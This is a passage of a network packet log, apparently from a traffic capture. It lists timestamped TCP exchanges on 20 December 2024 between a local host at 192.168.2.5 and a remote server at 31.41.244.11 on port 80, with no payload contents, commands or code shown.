Dec 20, 2024 13:12:13.785644054 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.786375046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.786427021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.786782026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.786830902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.787416935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.787467957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.787957907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.788009882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.788628101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.788678885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.788819075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.788871050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.789633989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.789691925 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.789819002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.789876938 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.790875912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.790930986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.791651964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.791702986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.791997910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.792074919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.792664051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.792742014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.793051958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.793139935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.793178082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.793235064 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.794253111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.794305086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.795402050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.795423985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.795454979 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.795475006 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.795521975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.795572996 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.796646118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.796700954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.796778917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.796828985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.797681093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.797732115 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.798408985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.798460007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.798743010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.798758030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.798799038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.799757004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.799809933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.799854994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.799911976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.801151991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.801168919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.801206112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.801229954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.802439928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.802522898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.802556992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.802608013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.803371906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.803421974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.803596973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.803649902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.804337978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.804389954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.804428101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.804478884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.805577993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.805639029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.806061029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.806118965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.806509972 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.806570053 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.806648970 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.806703091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.807598114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.807651997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.807904005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.807956934 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.808758974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.808815002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.809592962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.809643984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.809850931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.809866905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.809906006 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.810926914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.810981035 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.811691999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.811744928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.812098026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.812153101 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.812439919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.812488079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.813277006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.813329935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.813852072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.813904047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.814337969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.814392090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.814462900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.814513922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.815386057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.815437078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.815700054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.815747976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.816514969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.816565990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.816786051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.816837072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.817720890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.817771912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.818273067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.818325043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.818804026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.818856001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.819363117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.819413900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.819888115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.819940090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.820089102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.820138931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.821144104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.821187973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.821197987 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.821234941 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.822201967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.822256088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.822283030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.822331905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.823299885 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.823352098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.823385000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.823435068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.824398041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.824450970 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.824671030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.824732065 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.825503111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.825562000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.825694084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.825745106 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.826649904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.826703072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.827132940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.827183962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.827756882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.827810049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.829006910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.829056025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.829093933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.829109907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.829142094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.829166889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.830265999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.830317974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.830404043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.830456018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.831240892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.831295013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.831712961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.831764936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.832436085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.832451105 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.832488060 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.832511902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.833372116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.833424091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.834501982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.834536076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.834562063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.834568977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.834585905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.834618092 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.835666895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.835722923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.836241007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.836302996 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.836839914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.836899996 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.836946011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.837032080 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.837878942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.837937117 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.838004112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.838059902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.838952065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.839010000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.972769022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.972831964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.972878933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.972929001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.973504066 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.973551989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.973589897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.973638058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.974632025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.974694967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.975243092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.975298882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.975651979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.975714922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.975754976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.975805998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.976666927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.976778030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.976824045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.976876974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.977832079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.977886915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.978195906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.978246927 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.978908062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.978960037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.979077101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.979125023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.980020046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.980070114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.980433941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.980484962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.981147051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.981199026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.981543064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.981607914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.982271910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.982320070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.982389927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.982441902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.983371973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.983426094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.983627081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.983678102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.984546900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.984603882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.985301018 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.985351086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.985707998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.985723972 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.985758066 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.985780954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.986763954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.986856937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.987010002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.987061024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.987957001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.988009930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.988054037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.988106966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.989077091 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.989121914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.989166975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.990206003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.990262985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.990925074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.990978003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.991292953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.991345882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.991532087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.991584063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.992348909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.992403984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.992664099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.992714882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.993448973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.993489981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.993503094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.993534088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.994581938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.994636059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.995059013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.995107889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.995757103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.995807886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.995985031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.996038914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.996891975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.996948004 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.996990919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.997035027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.998018026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.998074055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.998291969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.998348951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.999078989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.999135017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.999171019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.999264002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.000226021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.000281096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.001046896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.001102924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.001353025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.001404047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.001568079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.001625061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.002417088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.002468109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.002670050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.002722025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.003552914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.003602982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.004123926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.004175901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.004695892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.004746914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.005034924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.005090952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.005785942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.005877972 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.005913973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.005968094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.006948948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.007000923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.007390022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.007441044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.008075953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.008133888 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.008663893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.008716106 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.009179115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.009243011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.009349108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.009401083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.010344982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.010395050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.010485888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.010535002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.011441946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.011492968 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.011567116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.011615038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.012644053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.012695074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.012861013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.012911081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.013772011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.013823986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.013860941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.013906002 CET	49831	80	192.168.2.5	31.41.244.11
